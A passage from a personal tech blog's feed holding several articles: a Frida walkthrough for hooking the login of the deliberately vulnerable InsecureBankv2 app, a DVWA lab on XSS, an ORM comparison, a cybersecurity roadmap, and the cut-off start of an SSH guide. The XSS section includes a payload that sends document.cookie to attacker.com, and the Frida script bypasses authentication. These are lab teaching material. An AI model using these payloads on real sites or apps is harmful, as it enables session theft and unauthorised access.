<h2 id="heading-step-2-push-frida-server-to-android">✅ Step 2: Push Frida Server to Android</h2>
<p>Make sure ADB is connected:</p>
<pre><code class="lang-bash">adb devices
</code></pre>
<p>Push and set permissions:</p>
<pre><code class="lang-bash">adb push frida-server /data/<span class="hljs-built_in">local</span>/tmp/
adb shell <span class="hljs-string">"chmod 755 /data/local/tmp/frida-server"</span>
</code></pre>
<hr />
<h2 id="heading-step-3-start-frida-server-on-android">✅ Step 3: Start Frida Server on Android</h2>
<p>Now open an ADB shell and run the server as root step by step one after another:</p>
<pre><code class="lang-bash">adb shell
su
<span class="hljs-built_in">cd</span> /data/<span class="hljs-built_in">local</span>/tmp/
./frida-server &amp;
</code></pre>
<p>✅ You should now have Frida server running in the background on your device.</p>
<hr />
<h2 id="heading-step-4-using-frida-and-frida-ps">🕵️‍♂️ Step 4: Using Frida and frida-ps</h2>
<ul>
<li><p><strong>List running processes</strong> (check if your target app is visible):</p>
<pre><code class="lang-bash">  frida-ps -U
</code></pre>
<p>  <code>-U</code> stands for USB device (or connected emulator).</p>
</li>
<li><p><strong>List only apps</strong>:</p>
<pre><code class="lang-bash">  frida-ps -Uai
</code></pre>
<p>  <code>-a</code> = applications only<br />  <code>-i</code> = include app identifiers (package names)</p>
</li>
</ul>
<hr />
<h2 id="heading-step-5-attach-to-a-running-app">🎯 Step 5: Attach to a Running App</h2>
<p>To attach to an app (e.g., InsecureBankv2), find the package name (like <code>com.android.insecurebankv2</code>) using <code>frida-ps</code>, then:</p>
<pre><code class="lang-bash">frida -U -n com.android.insecurebankv2
</code></pre>
<p>Sometimes com.android.insecurebankv2 might not work so in that situation</p>
<h2 id="heading-step-6-attach-to-the-app-process-when-above-snippet-didnt-work">🧪 Step 6: Attach to the App Process when above snippet didn’t work</h2>
<pre><code class="lang-bash">frida -U -p 3990
</code></pre>
<p>This attaches Frida to the app’s running process. Here 3990 is pid obtained from “frida-ps -Uai” command line. Then you will enter into frida REPL.</p>
<hr />
<h2 id="heading-step-7-write-a-frida-hook-script-hook-loginjs">🧪 Step 7: Write a Frida Hook Script – <code>hook-login.js</code></h2>
<p>Now that Frida is running, let's create a <strong>custom script to hook into the app's login function</strong>.</p>
<p>Create a file called <code>hook-login.js</code> with the following content:</p>
<pre><code class="lang-bash">jsCopyEditJava.perform(<span class="hljs-function"><span class="hljs-title">function</span></span> () {
    var loginClass = Java.use(<span class="hljs-string">"com.android.insecurebankv2.LoginActivity"</span>);

    loginClass.performlogin.implementation = <span class="hljs-function"><span class="hljs-title">function</span></span> () {
        console.log(<span class="hljs-string">"🔒 performlogin() hooked!"</span>);

        // Skip original logic
        console.log(<span class="hljs-string">"✅ Login bypassed (fake success)"</span>);
    };
});
</code></pre>
<h3 id="heading-why-are-we-doing-this">🧠 Why Are We Doing This?</h3>
<p>We're telling Frida:</p>
<blockquote>
<p>“Hey, whenever the <code>performlogin()</code> function is called in the app, don’t do the real logic. Just show a fake success.”</p>
</blockquote>
<p>This lets us <strong>bypass the actual login check</strong> — useful for testing how the app handles sessions, authentication logic, or insecure code.</p>
<hr />
<h2 id="heading-step-6-inject-the-script-into-the-app">🧪 Step 6: Inject the Script into the App</h2>
<p>Now use Frida to inject the hook into the running app.</p>
<p>First, find the app’s <strong>PID (process ID)</strong>:</p>
<pre><code class="lang-bash">frida-ps -U
</code></pre>
<p>Then inject the script:</p>
<pre><code class="lang-bash">frida -U -p &lt;PID&gt; -l hook-login.js
</code></pre>
<p>Example:</p>
<pre><code class="lang-bash">frida -U -p 3990 -l hook-login.js
</code></pre>
<p>✅ If successful, Frida will inject your script, and you’ll return to a prompt where you can see logs printed from your hook.</p>
<h3 id="heading-step-7-trigger-the-hook">🧪 Step 7: Trigger the Hook</h3>
<p>Go back to the app and enter <strong>any</strong> credentials, even invalid ones.</p>
<p>If the hook works, you’ll see in the Frida console:</p>
<pre><code class="lang-bash">scssCopyEdit🔒 performlogin() hooked!
✅ Login bypassed (fake success)
</code></pre>
]]></content:encoded></item><item><title><![CDATA[✅ STEP-BY-STEP XSS ATTACK SIMULATION (Ubuntu Version)]]></title><description><![CDATA[🔧 Step 1: Set Up Your Local Lab on Ubuntu
1.1 Install Required Packages
Open your terminal and run:
sudo apt update
sudo apt install apache2 mysql-server php php-mysqli git unzip

1.2 Start Apache and MySQL Services
sudo systemctl start apache2
sudo...]]></description><link>https://article.kumarchaudhary.com.np/step-by-step-xss-attack-simulation-ubuntu-version</link><guid isPermaLink="true">https://article.kumarchaudhary.com.np/step-by-step-xss-attack-simulation-ubuntu-version</guid><dc:creator><![CDATA[Kumar Chaudhary]]></dc:creator><pubDate>Fri, 23 May 2025 07:56:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/9SoCnyQmkzI/upload/192f59f382426b39ad340a3f2de8d19e.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<hr />
<h3 id="heading-step-1-set-up-your-local-lab-on-ubuntu">🔧 <strong>Step 1: Set Up Your Local Lab on Ubuntu</strong></h3>
<h4 id="heading-11-install-required-packages">1.1 Install Required Packages</h4>
<p>Open your terminal and run:</p>
<pre><code class="lang-javascript">sudo apt update
sudo apt install apache2 mysql-server php php-mysqli git unzip
</code></pre>
<h4 id="heading-12-start-apache-and-mysql-services">1.2 Start Apache and MySQL Services</h4>
<pre><code class="lang-javascript">sudo systemctl start apache2
sudo systemctl start mysql
sudo systemctl enable apache2
sudo systemctl enable mysql
</code></pre>
<hr />
<h3 id="heading-step-2-download-and-configure-dvwa">📦 <strong>Step 2: Download and Configure DVWA</strong></h3>
<h4 id="heading-21-clone-dvwa-repository">2.1 Clone DVWA Repository</h4>
<pre><code class="lang-javascript">/<span class="hljs-keyword">var</span>/www/html
sudo git clone https:<span class="hljs-comment">//github.com/digininja/DVWA.git</span>
sudo chown -R www-data:www-data DVWA
</code></pre>
<h4 id="heading-22-configure-database">2.2 Configure Database</h4>
<pre><code class="lang-javascript">sudo mysql
</code></pre>
<p>Inside MySQL shell:</p>
<pre><code class="lang-javascript">CREATE DATABASE dvwa;
CREATE USER <span class="hljs-string">'dvwauser'</span>@<span class="hljs-string">'localhost'</span> IDENTIFIED BY <span class="hljs-string">'password'</span>;
GRANT ALL PRIVILEGES ON dvwa.* TO <span class="hljs-string">'dvwauser'</span>@<span class="hljs-string">'localhost'</span>;
FLUSH PRIVILEGES;
EXIT;
</code></pre>
<h4 id="heading-23-edit-dvwa-config">2.3 Edit DVWA Config</h4>
<pre><code class="lang-javascript">cd /<span class="hljs-keyword">var</span>/www/html/DVWA/config
sudo cp config.inc.php.dist config.inc.php
sudo nano config.inc.php
</code></pre>
<p>Modify these lines:</p>
<pre><code class="lang-javascript">$_DVWA[<span class="hljs-string">'db_user'</span>] = <span class="hljs-string">'dvwauser'</span>;
$_DVWA[<span class="hljs-string">'db_password'</span>] = <span class="hljs-string">'password'</span>;
</code></pre>
<h4 id="heading-24-set-permissions">2.4 Set Permissions</h4>
<pre><code class="lang-javascript">sudo chmod -R <span class="hljs-number">755</span> /<span class="hljs-keyword">var</span>/www/html/DVWA/hackable/uploads/
</code></pre>
<hr />
<h3 id="heading-step-3-set-up-and-launch-dvwa-in-browser">🌍 <strong>Step 3: Set Up and Launch DVWA in Browser</strong></h3>
<ol>
<li><p>Open browser and go to: <code>http://localhost/DVWA/setup.php</code></p>
</li>
<li><p>Click <strong>"Create / Reset Database"</strong></p>
</li>
<li><p>Log in:</p>
<ul>
<li><p><strong>Username</strong>: admin</p>
</li>
<li><p><strong>Password</strong>: password (default)</p>
</li>
</ul>
</li>
<li><p>Go to <strong>DVWA Security</strong> tab, set <strong>security level to Low</strong></p>
</li>
</ol>
<hr />
<h3 id="heading-step-4-install-and-configure-burp-suite">🛡️ <strong>Step 4: Install and Configure Burp Suite</strong></h3>
<h4 id="heading-41-install-burp-suite-community-edition">4.1 Install Burp Suite Community Edition</h4>
<ul>
<li><p>Download from: https://portswigger.net/burp/communitydownload</p>
</li>
<li><p>Give execution permission:</p>
</li>
</ul>
<pre><code class="lang-javascript">chmod +x burpsuite_community_linux.sh
./burpsuite_community_linux.sh
</code></pre>
<h4 id="heading-42-configure-firefox-proxy">4.2 Configure Firefox Proxy</h4>
<ul>
<li><p>Open Firefox → Settings → Network Settings</p>
</li>
<li><p>Set Manual Proxy:</p>
<ul>
<li><p>HTTP Proxy: <code>127.0.0.1</code></p>
</li>
<li><p>Port: <code>8080</code></p>
</li>
<li><p>Check: "Use this proxy for all protocols"</p>
</li>
</ul>
</li>
</ul>
<h4 id="heading-43-install-burp-ca-certificate-in-firefox">4.3 Install Burp CA Certificate in Firefox</h4>
<ul>
<li><p>In Firefox, visit: <code>http://burp</code></p>
</li>
<li><p>Download the CA certificate</p>
</li>
<li><p>Go to <strong>Settings → Certificates → Authorities → Import</strong> and trust the certificate</p>
</li>
</ul>
<hr />
<h3 id="heading-step-5-perform-xss-attack-in-dvwa">⚔️ <strong>Step 5: Perform XSS Attack in DVWA</strong></h3>
<h4 id="heading-51-go-to-dvwa-click-xss-stored-or-xss-reflected">5.1 Go to DVWA → Click “XSS (Stored)” or “XSS (Reflected)”</h4>
<h4 id="heading-52-inject-payload">5.2 Inject Payload</h4>
<p>In input field:</p>
<pre><code class="lang-javascript">&lt;script&gt;alert(<span class="hljs-string">'XSS Works!'</span>);&lt;/script&gt;
</code></pre>
<p>Submit → <strong>Alert box should appear</strong></p>
<p>Try advanced:</p>
<pre><code class="lang-javascript">&lt;script&gt;<span class="hljs-built_in">document</span>.location=<span class="hljs-string">'http://attacker.com?cookie='</span>+<span class="hljs-built_in">document</span>.cookie&lt;/script&gt;
</code></pre>
<p>💡 For simulation only. Replace with <strong>Burp Collaborator URL</strong> or a dummy address.</p>
<hr />
<h3 id="heading-step-6-use-burp-suite-to-intercept-and-modify-request">🔍 <strong>Step 6: Use Burp Suite to Intercept and Modify Request</strong></h3>
<ol>
<li><p>Go to <strong>Proxy &gt; Intercept</strong> in Burp → Ensure “Intercept is ON”</p>
</li>
<li><p>Submit the form again in DVWA</p>
</li>
<li><p>Request will be captured → Click <strong>"Send to Repeater"</strong></p>
</li>
<li><p>Modify payload in Repeater → Re-send → Observe changes</p>
</li>
</ol>
<hr />
<h3 id="heading-step-7-analyze-output">🧪 <strong>Step 7: Analyze Output</strong></h3>
<ul>
<li><p>Use Firefox <strong>Dev Tools (F12)</strong> → Console → <code>document.cookie</code></p>
</li>
<li><p>Observe the execution and any captured data</p>
</li>
<li><p>Take screenshots of:</p>
<ul>
<li><p>Input form</p>
</li>
<li><p>Alert box</p>
</li>
<li><p>Burp Repeater</p>
</li>
<li><p>Console output</p>
</li>
</ul>
</li>
</ul>
<hr />
<h3 id="heading-ethical-note">⚠️ Ethical Note</h3>
<ul>
<li><p>Only test on your local Ubuntu/DVWA installation.</p>
</li>
<li><p>Never test XSS on live websites or without written permission.</p>
</li>
</ul>
<hr />
]]></content:encoded></item><item><title><![CDATA[The Best JavaScript ORM in 2025: A Deep Dive into Prisma, TypeORM, and Drizzle]]></title><description><![CDATA[Choosing the right Object-Relational Mapping (ORM) tool for your JavaScript/TypeScript project is crucial for productivity, performance, and long-term maintainability. With several strong contenders—Prisma, TypeORM, and Drizzle ORM—each has its stren...]]></description><link>https://article.kumarchaudhary.com.np/the-best-javascript-orm-in-2025-a-deep-dive-into-prisma-typeorm-and-drizzle</link><guid isPermaLink="true">https://article.kumarchaudhary.com.np/the-best-javascript-orm-in-2025-a-deep-dive-into-prisma-typeorm-and-drizzle</guid><category><![CDATA[Node.js]]></category><category><![CDATA[JavaScript]]></category><category><![CDATA[Databases]]></category><category><![CDATA[Programming Blogs]]></category><category><![CDATA[TypeScript]]></category><category><![CDATA[ORM (Object-Relational Mapping)]]></category><dc:creator><![CDATA[Kumar Chaudhary]]></dc:creator><pubDate>Mon, 31 Mar 2025 16:14:26 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1743437207647/03f8602d-d48e-4270-b795-99155e77c39b.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Choosing the right <strong>Object-Relational Mapping (ORM)</strong> tool for your JavaScript/TypeScript project is crucial for productivity, performance, and long-term maintainability. With several strong contenders—<strong>Prisma, TypeORM, and Drizzle ORM</strong>—each has its strengths and trade-offs. Picking between <strong>Prisma</strong>, <strong>TypeORM</strong>, and <strong>Drizzle ORM</strong> depends on your project requirements, team familiarity, and specific needs around ease of use, scalability, and performance.</p>
<p>In this in-depth guide, we’ll compare these three ORMs across key factors:<br />✅ <strong>Ease of Use</strong> – Developer experience, learning curve, and setup<br />✅ <strong>Performance</strong> – Query speed, overhead, and efficiency<br />✅ <strong>Scalability</strong> – Handling large applications and complex queries<br />✅ <strong>Type Safety</strong> – How well TypeScript is supported<br />✅ <strong>Migrations &amp; Tooling</strong> – Database schema management<br />✅ <strong>Community &amp; Ecosystem</strong> – Support, plugins, and future growth</p>
<p>By the end, you’ll have a clear answer on which ORM is best for your project.</p>
<h3 id="heading-comparison-summary"><strong>Comparison Summary</strong></h3>
<div class="hn-table">
<table>
<thead>
<tr>
<td><strong>Feature</strong></td><td><strong>Prisma</strong></td><td><strong>TypeORM</strong></td><td><strong>Drizzle ORM</strong></td></tr>
</thead>
<tbody>
<tr>
<td><strong>Ease of Use</strong></td><td>✅ Very intuitive schema, great DX</td><td>⚠️ Flexible but complex setup</td><td>✅ SQL-like, lightweight</td></tr>
<tr>
<td><strong>Scalability</strong></td><td>✅ Good for mid-large apps</td><td>⚠️ Can get messy in large apps</td><td>✅ Excellent (close-to-SQL)</td></tr>
<tr>
<td><strong>Performance</strong></td><td>⚠️ Good, but has overhead</td><td>⚠️ Can be slow in complex queries</td><td>✅ Near raw SQL speed</td></tr>
<tr>
<td><strong>Type Safety</strong></td><td>✅ Excellent (generated types)</td><td>⚠️ Decent (but runtime quirks)</td><td>✅ Strong (SQL-based)</td></tr>
<tr>
<td><strong>Migrations</strong></td><td>✅ Built-in (Prisma Migrate)</td><td>⚠️ Requires separate tools</td><td>✅ Flexible (SQL or drizzle-kit)</td></tr>
<tr>
<td><strong>Transactions</strong></td><td>✅ Good (client-side)</td><td>✅ Supports transactions</td><td>✅ Excellent (SQL-like)</td></tr>
<tr>
<td><strong>Community</strong></td><td>✅ Large &amp; growing</td><td>✅ Largest (but fragmented)</td><td>⚠️ Smaller but growing</td></tr>
</tbody>
</table>
</div><hr />
<h3 id="heading-recommendation-based-on-priorities"><strong>Recommendation Based on Priorities</strong></h3>
<ol>
<li><p><strong>For Ease of Use &amp; Developer Experience (DX)</strong> → <strong>Prisma</strong></p>
<ul>
<li><p>Best for startups &amp; rapid development.</p>
</li>
<li><p>Auto-generated types &amp; migrations.</p>
</li>
<li><p>Simple but powerful query API.</p>
</li>
</ul>
</li>
<li><p><strong>For Performance &amp; Scalability</strong> → <strong>Drizzle ORM</strong></p>
<ul>
<li><p>Closer to raw SQL, minimal overhead.</p>
</li>
<li><p>Better for large-scale, high-performance apps.</p>
</li>
<li><p>Type-safe SQL queries.</p>
</li>
</ul>
</li>
<li><p><strong>For Flexibility (if you need ActiveRecord-style patterns)</strong> → <strong>TypeORM</strong></p>
<ul>
<li><p>Supports both Active Record &amp; Data Mapper.</p>
</li>
<li><p>More mature but has runtime quirks.</p>
</li>
<li><p>Works well with established Node.js backends (NestJS, Express).</p>
</li>
</ul>
</li>
</ol>
<hr />
<h3 id="heading-scalability-handling-large-apps"><strong>📈 Scalability (Handling Large Apps)</strong></h3>
<div class="hn-table">
<table>
<thead>
<tr>
<td><strong>ORM</strong></td><td><strong>Scalability</strong></td><td><strong>Notes</strong></td></tr>
</thead>
<tbody>
<tr>
<td><strong>Prisma</strong></td><td>✅ Good for mid-large apps</td><td>Prisma Client can get bulky</td></tr>
<tr>
<td><strong>TypeORM</strong></td><td>⚠ Can get messy in large projects</td><td>Repository pattern helps, but requires discipline</td></tr>
<tr>
<td><strong>Drizzle</strong></td><td>✅ Excellent (close to raw SQL)</td><td>No magic, scales like handwritten SQL</td></tr>
</tbody>
</table>
</div><p><strong>Winner:</strong> <strong>Drizzle ORM</strong> (best for large-scale apps)</p>
<h3 id="heading-performance-query-speed-amp-efficiency"><strong>⚡ Performance (Query Speed &amp; Efficiency)</strong></h3>
<div class="hn-table">
<table>
<thead>
<tr>
<td><strong>ORM</strong></td><td><strong>Performance</strong></td><td><strong>Notes</strong></td></tr>
</thead>
<tbody>
<tr>
<td><strong>Prisma</strong></td><td>⚠ Good, but has some overhead</td><td>Optimized for DX, not raw speed</td></tr>
<tr>
<td><strong>TypeORM</strong></td><td>⚠ Can be slow with complex joins</td><td>Reflection-based queries add overhead</td></tr>
<tr>
<td><strong>Drizzle</strong></td><td>✅ Near raw SQL performance</td><td>Compiles to optimized SQL</td></tr>
</tbody>
</table>
</div><p><strong>Winner:</strong> <strong>Drizzle ORM</strong> (best for high-performance apps)</p>
<h3 id="heading-type-safety-typescript-support"><strong>🛡 Type Safety (TypeScript Support)</strong></h3>
<div class="hn-table">
<table>
<thead>
<tr>
<td><strong>ORM</strong></td><td><strong>Type Safety</strong></td><td><strong>Notes</strong></td></tr>
</thead>
<tbody>
<tr>
<td><strong>Prisma</strong></td><td>✅ Excellent (generated types)</td><td>Full autocompletion</td></tr>
<tr>
<td><strong>TypeORM</strong></td><td>⚠ Decent (but runtime issues)</td><td>Decorators can cause mismatches</td></tr>
<tr>
<td><strong>Drizzle</strong></td><td>✅ Strong (SQL-based types)</td><td>Almost no runtime surprises</td></tr>
</tbody>
</table>
</div><p><strong>Winner:</strong> <strong>Prisma &amp; Drizzle</strong> (both excellent)</p>
<h3 id="heading-migrations-amp-database-management"><strong>🔄 Migrations &amp; Database Management</strong></h3>
<div class="hn-table">
<table>
<thead>
<tr>
<td><strong>ORM</strong></td><td><strong>Migrations</strong></td><td><strong>Notes</strong></td></tr>
</thead>
<tbody>
<tr>
<td><strong>Prisma</strong></td><td>✅ Built-in (Prisma Migrate)</td><td>Easy but opinionated</td></tr>
<tr>
<td><strong>TypeORM</strong></td><td>⚠ Requires TypeORM CLI</td><td>Can be clunky</td></tr>
<tr>
<td><strong>Drizzle</strong></td><td>✅ Flexible (SQL or drizzle-kit)</td><td>More control, but manual work</td></tr>
</tbody>
</table>
</div><p><strong>Winner:</strong> <strong>Prisma</strong> (best for automation), <strong>Drizzle</strong> (best for control)</p>
<hr />
<h3 id="heading-community-amp-ecosystem"><strong>👥 Community &amp; Ecosystem</strong></h3>
<div class="hn-table">
<table>
<thead>
<tr>
<td><strong>ORM</strong></td><td><strong>Community</strong></td><td><strong>Notes</strong></td></tr>
</thead>
<tbody>
<tr>
<td><strong>Prisma</strong></td><td>✅ Large &amp; growing</td><td>Strong corporate backing</td></tr>
<tr>
<td><strong>TypeORM</strong></td><td>✅ Largest (but fragmented)</td><td>Many plugins, but inconsistent quality</td></tr>
<tr>
<td><strong>Drizzle</strong></td><td>⚠ Smaller but growing</td><td>Gaining traction fast</td></tr>
</tbody>
</table>
</div><p><strong>Winner:</strong> <strong>TypeORM</strong> (most plugins), <strong>Prisma</strong> (best long-term support)</p>
<h2 id="heading-comparison"><strong>Comparison</strong></h2>
<h3 id="heading-ease-of-use-amp-developer-experience-dx"><strong>📌 Ease of Use &amp; Developer Experience (DX)</strong></h3>
<div class="hn-table">
<table>
<thead>
<tr>
<td><strong>ORM</strong></td><td><strong>Pros</strong></td><td><strong>Cons</strong></td></tr>
</thead>
<tbody>
<tr>
<td><strong>Prisma</strong></td><td>✅ Intuitive schema definition  </td></tr>
</tbody>
</table>
</div><p>✅ Auto-generated types<br />✅ Built-in migrations | ❌ Some magic (less SQL control) |
| <strong>TypeORM</strong> | ✅ Supports both Active Record &amp; Data Mapper<br />✅ Works with many DBs | ❌ Complex setup<br />❌ Runtime type quirks |
| <strong>Drizzle</strong> | ✅ SQL-like syntax (familiar for SQL devs)<br />✅ Minimal boilerplate | ❌ Requires manual type definitions in some cases |</p>
<p><strong>Winner:</strong> <strong>Prisma</strong> (best DX), <strong>Drizzle</strong> (if you prefer SQL control)</p>
<h3 id="heading-final-verdict"><strong>Final Verdict</strong></h3>
<ul>
<li><p><strong>Choose Prisma</strong> if you want the best <strong>developer experience</strong> and don’t need ultra-high performance.</p>
</li>
<li><p><strong>Choose Drizzle ORM</strong> if you <strong>prioritize performance</strong> and prefer SQL-like control.</p>
</li>
<li><p><strong>Choose TypeORM</strong> if you need <strong>flexibility</strong> and are okay with some trade-offs in type safety.</p>
</li>
</ul>
<p><strong>My Personal Preference?</strong><br />If starting a new project today, I’d lean toward <strong>Drizzle ORM</strong> for performance &amp; type safety, or <strong>Prisma</strong> for rapid prototyping. TypeORM is still viable but feels outdated compared to these two.</p>
]]></content:encoded></item><item><title><![CDATA[Roadmap to learn cybersecurity.]]></title><description><![CDATA[1. Essential Skills to Learn
🔹 Networking & System Security

Learn TCP/IP, DNS, VPNs, Firewalls, IDS/IPS, and NAT.

Get familiar with Linux & Windows security.


🔹 Penetration Testing & Ethical Hacking

Learn OWASP Top 10 vulnerabilities.

Practice...]]></description><link>https://article.kumarchaudhary.com.np/roadmap-to-learn-cybersecurity</link><guid isPermaLink="true">https://article.kumarchaudhary.com.np/roadmap-to-learn-cybersecurity</guid><category><![CDATA[#cybersecurity]]></category><category><![CDATA[Computer Science]]></category><dc:creator><![CDATA[Kumar Chaudhary]]></dc:creator><pubDate>Sun, 23 Mar 2025 04:48:29 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/nv-ZYsvjIcE/upload/c35ccbf76034b1aef784d39948801155.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-1-essential-skills-to-learn"><strong>1. Essential Skills to Learn</strong></h3>
<p>🔹 <strong>Networking &amp; System Security</strong></p>
<ul>
<li><p>Learn <strong>TCP/IP, DNS, VPNs, Firewalls, IDS/IPS, and NAT</strong>.</p>
</li>
<li><p>Get familiar with <strong>Linux &amp; Windows security</strong>.</p>
</li>
</ul>
<p>🔹 <strong>Penetration Testing &amp; Ethical Hacking</strong></p>
<ul>
<li><p>Learn <strong>OWASP Top 10 vulnerabilities</strong>.</p>
</li>
<li><p>Practice <strong>Web Application Security</strong> (SQL Injection, XSS, CSRF).</p>
</li>
<li><p>Work with tools like <strong>Burp Suite, Metasploit, Wireshark, and Nmap</strong>.</p>
</li>
</ul>
<p>🔹 <strong>Programming &amp; Scripting</strong></p>
<ul>
<li><p>Python (for automation &amp; security scripting).</p>
</li>
<li><p>Bash or PowerShell (for system administration).</p>
</li>
<li><p>JavaScript (for understanding web security threats).</p>
</li>
</ul>
<p>🔹 <strong>Cloud Security &amp; DevSecOps</strong></p>
<ul>
<li><p>Learn <strong>AWS/Azure security best practices</strong>.</p>
</li>
<li><p>Get familiar with <strong>CI/CD security and infrastructure as code (IaC)</strong>.</p>
</li>
</ul>
<p>🔹 <strong>Incident Response &amp; Digital Forensics</strong></p>
<ul>
<li><p>Learn how to analyze logs and detect cyber threats.</p>
</li>
<li><p>Use tools like <strong>Autopsy, Volatility, and ELK Stack (SIEM)</strong>.</p>
</li>
</ul>
<p>🔹 <strong>Governance, Risk, and Compliance (GRC)</strong></p>
<ul>
<li><p>Learn <strong>ISO 27001, GDPR, PCI-DSS, and NIST standards</strong>.</p>
</li>
<li><p>Get familiar with <strong>risk assessment frameworks</strong>.</p>
</li>
</ul>
<hr />
<h3 id="heading-2-certifications-to-boost-your-resume"><strong>2. Certifications to Boost Your Resume</strong></h3>
<p>🌟 <strong>Entry-Level</strong><br />✔️ CompTIA Security+<br />✔️ Cisco CCNA Security<br />✔️ Certified Ethical Hacker (CEH)</p>
<p>🌟 <strong>Intermediate-Level</strong><br />✔️ Offensive Security Certified Professional (OSCP)<br />✔️ Certified Information Systems Security Professional (CISSP)<br />✔️ AWS Certified Security - Specialty</p>
<p>🌟 <strong>Advanced-Level</strong><br />✔️ GIAC Penetration Tester (GPEN)<br />✔️ Certified Information Security Manager (CISM)</p>
<hr />
<h3 id="heading-3-practical-experience-to-gain-in-nepal"><strong>3. Practical Experience to Gain in Nepal</strong></h3>
<p>💻 <strong>Freelancing &amp; Bug Bounty</strong></p>
<ul>
<li><p>Work on <strong>Upwork, Fiverr, or Turing</strong> as a security consultant.</p>
</li>
<li><p>Participate in <strong>bug bounty programs</strong> (HackerOne, Bugcrowd).</p>
</li>
</ul>
<p>🔍 <strong>Internships &amp; Jobs in Nepal</strong></p>
<ul>
<li><p>Apply for cybersecurity roles at <strong>banks, fintech companies, IT firms, or government agencies</strong>.</p>
</li>
<li><p>Look for security analyst or penetration tester roles in <strong>companies like LogPoint, Vianet, eSewa, and Khalti</strong>.</p>
</li>
</ul>
<p>🛠️ <strong>Open-Source &amp; Personal Projects</strong></p>
<ul>
<li><p>Contribute to <strong>security-related open-source projects</strong> on GitHub.</p>
</li>
<li><p>Set up your <strong>own home lab</strong> for penetration testing using <strong>Kali Linux and Hack The Box</strong>.</p>
</li>
</ul>
<hr />
<h3 id="heading-4-how-this-helps-you-secure-a-job-in-the-uk"><strong>4. How This Helps You Secure a Job in the UK</strong></h3>
<p>✅ Showcases <strong>hands-on experience</strong> (essential for UK employers).<br />✅ Proves you have <strong>global cybersecurity certifications</strong>.<br />✅ Bug bounty reports can act as <strong>real-world proof of expertise</strong>.<br />✅ Open-source contributions make your profile stand out.</p>
<p>What if your background is in <strong>software engineering (full-stack development)</strong> and you want to transition into <strong>cybersecurity</strong>, your research should focus on <strong>security challenges in software development</strong>. Here are some <strong>research topics</strong> that align with your experience for instance in <strong>Node.js, Nest.js, Prisma, PostgreSQL, React, Next.js, and React Native etc……..</strong>:</p>
<hr />
<h3 id="heading-1-web-amp-api-security"><strong>1. Web &amp; API Security</strong></h3>
<p>🔹 <strong>Securing GraphQL APIs: Common Vulnerabilities and Best Practices</strong><br />🔹 <strong>OWASP Top 10 Security Risks in Modern Web Frameworks: A Study on Next.js and React.js</strong><br />🔹 <strong>API Security in Microservices: A Case Study on Node.js and Nest.js</strong><br />🔹 <strong>Authorization and Authentication Models in Web Applications: A Comparative Study of JWT, OAuth, and Session-Based Authentication</strong></p>
<hr />
<h3 id="heading-2-database-security"><strong>2. Database Security</strong></h3>
<p>🔹 <strong>SQL Injection and NoSQL Injection Attacks: Security Implications in PostgreSQL and Prisma</strong><br />🔹 <strong>Database Encryption Techniques: Enhancing Security in Prisma ORM</strong><br />🔹 <strong>Role-Based Access Control (RBAC) vs. Attribute-Based Access Control (ABAC): Which is More Secure for Modern Applications?</strong><br />🔹 <strong>Security Threats in Serverless Databases: A Case Study on</strong> <a target="_blank" href="http://Neon.tech"><strong>Neon.tech</strong></a> <strong>and PostgreSQL</strong></p>
<hr />
<h3 id="heading-3-cloud-amp-devsecops-security"><strong>3. Cloud &amp; DevSecOps Security</strong></h3>
<p>🔹 <strong>CI/CD Pipeline Security: Securing Automated Deployments in Next.js and Node.js</strong><br />🔹 <strong>Cloud-Native Application Security: A Study on Protecting Serverless Functions in AWS and Firebase</strong><br />🔹 <strong>Container Security in DevOps: Protecting Dockerized Applications in Node.js</strong><br />🔹 <strong>Infrastructure as Code (IaC) Security: Best Practices for Terraform and Kubernetes</strong></p>
<hr />
<h3 id="heading-4-mobile-app-security-react-native"><strong>4. Mobile App Security (React Native)</strong></h3>
<p>🔹 <strong>Reverse Engineering and Code Obfuscation: Enhancing React Native App Security</strong><br />🔹 <strong>Secure Storage of Sensitive Data in React Native Applications</strong><br />🔹 <strong>Man-in-the-Middle Attacks in Mobile Apps: How Secure is React Native?</strong><br />🔹 <strong>Mobile API Security: Securing Communication Between Frontend and Backend in React Native</strong></p>
<hr />
<h3 id="heading-5-ai-amp-cybersecurity"><strong>5. AI &amp; Cybersecurity</strong></h3>
<p>🔹 <strong>Using AI for Automated Threat Detection in Web Applications</strong><br />🔹 <strong>Machine Learning for Fraud Detection in Online Transactions</strong><br />🔹 <strong>AI-Driven Security Testing: Enhancing Software Security with GPT-Based Penetration Testing</strong></p>
<hr />
<h3 id="heading-6-blockchain-amp-web3-security"><strong>6. Blockchain &amp; Web3 Security</strong></h3>
<p>🔹 <strong>Smart Contract Security: Analyzing Vulnerabilities in Solidity-Based Applications</strong><br />🔹 <strong>Blockchain for Identity Management: A Secure Alternative to Traditional Authentication Methods</strong><br />🔹 <strong>Web3 Security: Preventing Phishing and Scams in Decentralized Applications</strong></p>
<hr />
<h3 id="heading-7-ethical-hacking-amp-penetration-testing"><strong>7. Ethical Hacking &amp; Penetration Testing</strong></h3>
<p>🔹 <strong>Red Team vs. Blue Team in Web Application Security: A Practical Analysis</strong><br />🔹 <strong>Penetration Testing on Modern JavaScript Frameworks: Case Study on Next.js</strong><br />🔹 <strong>Automating Security Audits for Node.js Applications Using Open-Source Tools</strong></p>
]]></content:encoded></item><item><title><![CDATA[How to Set Up SSH Keys for GitHub: Step-by-Step Instructions]]></title><description><![CDATA[When working with GitHub, using SSH for authentication is a secure and efficient approach. Recently, I ran into an issue where my GitHub push attempts were met with a frustrating Permission denied (publickey) error. If you’re in the same boat, don’t ...]]></description><link>https://article.kumarchaudhary.com.np/how-to-set-up-ssh-keys-for-github-step-by-step-instructions</link><guid isPermaLink="true">https://article.kumarchaudhary.com.np/how-to-set-up-ssh-keys-for-github-step-by-step-instructions</guid><category><![CDATA[ssh]]></category><category><![CDATA[GitHub]]></category><category><![CDATA[software development]]></category><dc:creator><![CDATA[Kumar Chaudhary]]></dc:creator><pubDate>Tue, 11 Mar 2025 08:30:50 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/zwsHjakE_iI/upload/1f28e23942e50303955340add2d8a5d2.jpeg" length="0" 